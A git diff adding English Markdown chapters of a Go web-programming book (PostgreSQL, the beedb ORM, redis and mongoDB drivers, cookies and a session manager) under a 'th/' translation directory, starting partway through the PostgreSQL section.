"2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("last inserted id =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } +``` +Note that PostgreSQL uses the `$1, $2` format instead of the `?` that MySQL uses, and it has a different DSN format in `sql.Open`. +Another thing is that the PostgreSQL driver does not support `sql.Result.LastInsertId()`. +So instead of this, +```Go + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);") + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + fmt.Println(res.LastInsertId()) +``` +use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id. +```Go + err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId) + fmt.Println(lastInsertId) +``` +## Links + +- [Directory](preface.md) +- Previous section: [SQLite](05.3.md) +- Next section: [Develop ORM based on beedb](05.5.md) diff --git a/th/05.5.md b/th/05.5.md new file mode 100644 index 000000000..cd6580887 --- /dev/null +++ b/th/05.5.md @@ -0,0 +1,259 @@ +# 5.5 Develop ORM based on beedb + +( ***Project beedb is no longer maintained, but the code s still there*** ) + +beedb is an ORM ( object-relational mapper ) developed in Go, by me. +It uses idiomatic Go to operate on databases, implementing struct-to-database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence. + +beedb is an open source project that supports basic ORM functionality, but doesn't support association queries. + +Because beedb supports `database/sql` interface standards, any driver that implements this interface can be used with beedb. I've tested the following drivers: + +Mysql: [github/go-mysql-driver/mysql](https://github.com/go-sql-driver/mysql) + +PostgreSQL: [github.com/lib/pq](https://github.com/lib/pq) + +SQLite: [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) + +Mysql: [github.com/ziutek/mymysql/godrv](https://github.com/ziutek/mymysql) + +MS ADODB: [github.com/mattn/go-adodb](https://github.com/mattn/go-adodb) + +Oracle: [github.com/mattn/go-oci8](https://github.com/mattn/go-oci8) + +ODBC: [bitbucket.org/miquella/mgodbc](https://bitbucket.org/miquella/mgodbc) + +## Installation + +You can use `go get` to install beedb locally. + + go get github.com/astaxie/beedb + +## Initialization + +First, you have to import all the necessary packages: +```Go + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) +``` +Then you need to open a database connection and create a beedb object (MySQL in this example): +```Go + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) +``` +`beedb.New()` actually has two arguments. The first is the database object, and the second is for indicating which database engine you're using. If you're using MySQL/SQLite, you can just skip the second argument. + +Otherwise, this argument must be supplied. For instance, in the case of SQLServer: +```Go + orm = beedb.New(db, "mssql") +``` +PostgreSQL: +```Go + orm = beedb.New(db, "pg") +``` +beedb supports debugging. Use the following code to enable it: +```Go + beedb.OnDebug=true +``` +Next, we have a struct for the `Userinfo` database table that we used in previous sections. +```Go + type Userinfo struct { + Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key. + Username string + Departname string + Created time.Time + } +``` +Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have `UserInfo` as the struct name, beedb will convert it to `user_info` in the database. The same rule applies to struct field names. + + +## Insert data + +The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change. +```Go + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) +``` +You can check `saveone.Uid` after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you. + +beedb provides another way of inserting data; this is via Go's map type. +```Go + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) +``` +Insert multiple data: +```Go + addslice := make([]map[string]interface{}, 10) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice = append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) +``` +The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It returns the original ORM object after calls, then continues doing other jobs. + +The method `SetTable` tells the ORM we want to insert our data into the `userinfo` table. + +## Update data + +Let's continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record. +```Go + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) // update +``` +Like before, you can also use map for updating data: +```Go + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) +``` +Let me explain some of the methods used above: + +- `.SetPK()` tells the ORM that `uid` is the primary key records in the `userinfo` table. +- `.Where()` sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for `Where("=?", )`. +- `.Update()` method accepts a map and updates the database. + +## Query data + +The beedb query interface is very flexible. Let's see some examples: + +Example 1, query by primary key: +```Go + var user Userinfo + // Where accepts two arguments, supports integers + orm.Where("uid=?", 27).Find(&user) +``` +Example 2: +```Go + var user2 Userinfo + orm.Where(3).Find(&user2) // short form that omits primary key +``` +Example 3, other query conditions: +```Go + var user3 Userinfo + // Where two arguments are accepted, with support for char type. + orm.Where("name = ?", "john").Find(&user3) +``` +Example 4, more complex conditions: +```Go + var user4 Userinfo + // Where three arguments are accepted + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) +``` +Examples to get multiple records: + +Example 1, gets 10 records with `id>3` that starts with position 20: +```Go + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) +``` +Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records: +```Go + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) +``` +Example 3, gets all records: +```Go + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) +``` +As you can see, the Limit method is for limiting the number of results. + +- `.Limit()` supports two arguments: the number of results and the starting position. 0 is the default value of the starting position. +- `.OrderBy()` is for ordering results. The argument is the order condition. + +All the examples here are simply mapping records to structs. You can also just put the data into a map as follows: +```Go + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() +``` +- `.Select()` tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default. +- `.FindMap()` returns the `[]map[string][]byte` type, so you need to convert to other types yourself. + +## Delete data + +beedb provides rich methods to delete data. + +Example 1, delete a single record: +```Go + // saveone is the one in above example. + orm.Delete(&saveone) +``` +Example 2, delete multiple records: +```Go + // alluser is the slice which gets multiple records. + orm.DeleteAll(&alluser) +``` +Example 3, delete records by SQL: +```Go + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() +``` +## Association queries + +beedb doesn't support joining between structs. +However, since some applications need this feature, here is an implementation: +```Go + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid") + .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() +``` +We see a new method called `.Join()` that has three arguments: + +- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc. +- The second argument: the table you want to join with. +- The third argument: join condition. + +## Group By and Having + +beedb also has an implementation of `group by` and `having`. +```Go + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() +``` +- `.GroupBy()` indicates the field that is for group by. +- `.Having()` indicates conditions of having. + +## Future + +I have received a lot of feedback on beedb from many people all around the world, and I'm thinking about reconfiguring the following aspects: + +- Implement an interface design similar to `database/sql/driver` in order to facilitate CRUD operations. +- Implement relational database associations like one to one, one to many and many to many. Here's a sample: +```Go + type Profile struct { + Nickname string + Mobile string + } + + type Userinfo struct { + Uid int + PK_Username string + Departname string + Created time.Time + Profile HasOne + } +``` +- Auto-create tables and indexes. +- Implement a connection pool using goroutines. + +## Links + +- [Directory](preface.md) +- Previous section: [PostgreSQL](05.4.md) +- Next section: [NoSQL database](05.6.md) diff --git a/th/05.6.md b/th/05.6.md new file mode 100644 index 000000000..327c24822 --- /dev/null +++ b/th/05.6.md @@ -0,0 +1,202 @@ +# 5.6 NoSQL database + +A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used. + +As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases. + +## redis + +redis is a key-value storage system like Memcached, that supports the string, list, set, zset(ordered set) and hash value types. + +There are some Go database drivers for redis: +- [https://github.com/garyburd/redigo](https://github.com/garyburd/redigo) +- [https://github.com/go-redis/redis](https://github.com/go-redis/redis) +- [https://github.com/hoisie/redis](https://github.com/hoisie/redis) +- [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) +- [https://github.com/simonz05/godis](https://github.com/simonz05/godis) + +Let's see how to use the driver that redigo to operate on a database: +```Go + + package main + + import ( + "fmt" + "github.com/garyburd/redigo/redis" + "os" + "os/signal" + "syscall" + "time" + ) + + var ( + Pool *redis.Pool + ) + + func init() { + redisHost := ":6379" + Pool = newPool(redisHost) + close() + } + + func newPool(server string) *redis.Pool { + + return &redis.Pool{ + + MaxIdle: 3, + IdleTimeout: 240 * time.Second, + + Dial: func() (redis.Conn, error) { + c, err := redis.Dial("tcp", server) + if err != nil { + return nil, err + } + return c, err + }, + + TestOnBorrow: func(c redis.Conn, t time.Time) error { + _, err := c.Do("PING") + return err + }, + } + } + + func close() { + c := make(chan os.Signal, 1) + signal.Notify(c, os.Interrupt) + signal.Notify(c, syscall.SIGTERM) + signal.Notify(c, syscall.SIGKILL) + go func() { + <-c + Pool.Close() + os.Exit(0) + }() + } + + func Get(key string) ([]byte, error) { + + conn := Pool.Get() + defer conn.Close() + + var data []byte + data, err := redis.Bytes(conn.Do("GET", key)) + if err != nil { + return data, fmt.Errorf("error get key %s: %v", key, err) + } + return data, err + } + + func main() { + test, err := Get("test") + fmt.Println(test, err) + } + +``` + +I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day). + +- [https://github.com/astaxie/goredis](https://github.com/astaxie/goredis) + +Let's see how to use the driver that I forked to operate on a database: +```Go + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = "127.0.0.1:6379" + + // string manipulation + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + // list operation + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } +``` +We can see that it is quite easy to operate redis in Go, and it has high performance. It's client commands are almost the same as redis' built-in commands. + +## mongoDB + +mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster. + +![](images/5.6.mongodb.png?raw=true) + +Figure 5.1 MongoDB compared to Mysql + +The best driver for mongoDB is called `mgo`, and it is possible that it will be included in the standard library in the future. + +Install mgo: + +```Go + go get gopkg.in/mgo.v2 +``` + +Here is the example: +```Go + + package main + + import ( + "fmt" + "gopkg.in/mgo.v2" + "gopkg.in/mgo.v2/bson" + "log" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + // Optional. Switch the session to a monotonic behavior. + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + log.Fatal(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + log.Fatal(err) + } + + fmt.Println("Phone:", result.Phone) + } + +``` + +We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop ORM based on beedb](05.5.md) +- Next section: [Summary](05.7.md) diff --git a/th/05.7.md b/th/05.7.md new file mode 100644 index 000000000..96c8bf8ea --- /dev/null +++ b/th/05.7.md @@ -0,0 +1,11 @@ +# 5.7 Summary + +In this chapter, you first learned about the design of the `database/sql` interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases. + +After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the `database/sql` interface. + +## Links + +- [Directory](preface.md) +- Previous section: [NoSQL database](05.6.md) +- Next section: [Data storage and session](06.0.md) diff --git a/th/06.0.md b/th/06.0.md new file mode 100644 index 000000000..2c517a6d1 --- /dev/null +++ b/th/06.0.md @@ -0,0 +1,11 @@ +# 6 Data storage and sessions + +An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance). + +In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save these sessions directly into our database. We'll talk more about this in section 6.4. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 5 Summary](05.7.md) +- Next section: [Session and cookies](06.1.md) diff --git a/th/06.1.md b/th/06.1.md new file mode 100644 index 000000000..fa331e180 --- /dev/null +++ b/th/06.1.md @@ -0,0 +1,111 @@ +## 6.1 Session and cookies + +Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two use cases. + +Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called "web crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login. + +When we first receive a login page and type in a username and password, after we press the "login" button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access privileges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either on the server side or client side using cookies and sessions. + +Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user. + +![](images/6.1.cookie2.png?raw=true) + +Figure 6.1 cookie principle. + +Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client's identity. + +![](images/6.1.session.png?raw=true) + +Figure 6.2 session principle. + +## Cookies + +Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it. + +![](images/6.1.cookie.png?raw=true) + +Figure 6.3 cookie in browsers. + +Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies. + +If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system. + +If your application does set an expiry time (for example, setMaxAge(60*60*24)), the browser *will* save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory.    + +## Set cookies in Go + +Go uses the `SetCookie` function in the `net/http` package to set cookies: +```Go + http.SetCookie(w ResponseWriter, cookie *Cookie) +``` +`w` is the response of the request and cookie is a struct. Let's see what it looks like: +```Go + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } +``` +Here is an example of setting a cookie: + +```Go + expiration := time.Now().Add(365 * 24 * time.Hour) + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) +``` + +## Fetch cookies in Go + +The above example shows how to set a cookie. Now let's see how to get a cookie that has been set: +```Go + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) +``` +Here is another way to get a cookie: +```Go + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } +``` +As you can see, it's very convenient to get cookies from requests. + +## Sessions + +A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers. + +Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct. + +Sessions are a server-side mechanism, and usually employ hash tables (or something similar) to save incoming information. + +When an application needs to assign a new session to a client, the server should check if there are any existing sessions for the same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually). + +The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all". + +## Summary + +In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different methods. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites. + +Here are two common exploits: + +1. appA setting an unexpected cookie for appB. +2. XSS attack: appA uses the JavaScript `document.cookie` to access the cookies of appB. + +After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss sessions in more detail in the following sections. + +## Links + +- [Directory](preface.md) +- Previous section: [Data storage and session](06.0.md) +- Next section: [How to use session in Go](06.2.md) diff --git a/th/06.2.md b/th/06.2.md new file mode 100644 index 000000000..f875f6c00 --- /dev/null +++ b/th/06.2.md @@ -0,0 +1,222 @@ +# 6.2 How to use sessions in Go + +In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session manager in Go. + +## Creating sessions + +The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session id's to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed: + +- Create a unique session id +- Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions. +- Send the unique session id to the client. + +The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites. + +- Cookies: the server can easily use `Set-cookie` inside of a response header to send a session id to a client, and a client can then use this cookie for future requests; we often set the expiry time for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers. +- URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best choice if clients have disabled cookies in their browsers. + +## Use Go to manage sessions + +We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session manager. + +### Session management design + +Here is a list of some of the key considerations in session management design. + +- Global session manager. +- Keep session id unique. +- Have one session for every user. +- Session storage in memory, file or database. +- Deal with expired sessions. + +Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions. + +### Session manager + +Define a global session manager: +```Go + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } +``` +Create a global session manager in the `main()` function: +```Go + var globalSessions *session.Manager + // Then, initialize the session manager + func init() { + globalSessions = NewManager("memory","gosessionid",3600) + } +``` +We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a `Provider` interface in order to represent the underlying structure of our session manager: +```Go + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } +``` +- `SessionInit` implements the initialization of a session, and returns a new session if it succeeds. +- `SessionRead` returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist. +- `SessionDestroy` given an sid, deletes the corresponding session. +- `SessionGC` deletes expired session variables according to `maxLifeTime`. + +So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations. +```Go + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } +``` +This design takes its roots from the `database/sql/driver`, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function. +```Go + var provides = make(map[string]Provider) + + // Register makes a session provider available by the provided name. + // If a Register is called twice with the same name or if the driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provider is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provider " + name) + } + provides[name] = provider + } +``` +### Unique session id's + +Session id's are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal: +```Go + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } +``` +### Creating a session + +We need to allocate or get an existing session in order to validate user operations. The `SessionStart` function is for checking the existence of any sessions related to the current user, and creating a new session if none is found. +```Go + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } +``` +Here is an example that uses sessions for a login operation. +```Go + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } +``` +### Operation value: set, get and delete + +The `SessionStart` function returns a variable that implements a session interface. How do we use it? + +You saw `session.Get("uid")` in the above example for a basic operation. Now let's examine a more detailed example. +```Go + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } +``` +As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations. + +Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This way, the GC will not delete sessions that have expired but are still being used. + +### Reset sessions + +We know that web applications have a logout operation. When users logout, we need to delete the corresponding session. We've already used the reset operation in above example -now let's take a look at the function body. +```Go + // Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } +``` +### Delete sessions + +Let's see how to let the session manager delete a session. We need to start the GC in the `main()` function: +```Go + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } +``` +We see that the GC makes full use of the timer function in the `time` package. It automatically calls GC when the session times out, ensuring that all sessions are usable during `maxLifeTime`. A similar solution can be used to count online users. + +## Summary + +So far, we implemented a session manager to manage global sessions in the web application and defined the `Provider` interface as the storage implementation of `Session`. In the next section, we are going to talk about how to implement `Provider` for additional session storage structures, which you will be able to reference in the future. + +## Links + +- [Directory](preface.md) +- Previous section: [Session and cookies](06.1.md) +- Next section: [Session storage](06.3.md) diff --git a/th/06.3.md b/th/06.3.md new file mode 100644 index 000000000..aa17ab889 --- /dev/null +++ b/th/06.3.md @@ -0,0 +1,139 @@ +# 6.3 Session storage + +We introduced a simple session manager's working principles in the previous section, and among other things, we defined a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well. +```Go + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string // unique session id + timeAccessed time.Time // last access time + value map[interface{}]interface{} // session value stored inside + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex // lock + sessions map[string]*list.Element // save in memory + list *list.List // gc + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + +``` +The above example implements a memory based session storage mechanism. It uses its `init()` function to register this storage engine to the session manager. So how do we register this engine from our main program? +```Go + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) +``` +We use the blank import mechanism (which will invoke the package's `init()` function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager: +```Go + var globalSessions *session.Manager + + // initialize in init() function + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } +``` +## Links + +- [Directory](preface.md) +- Previous 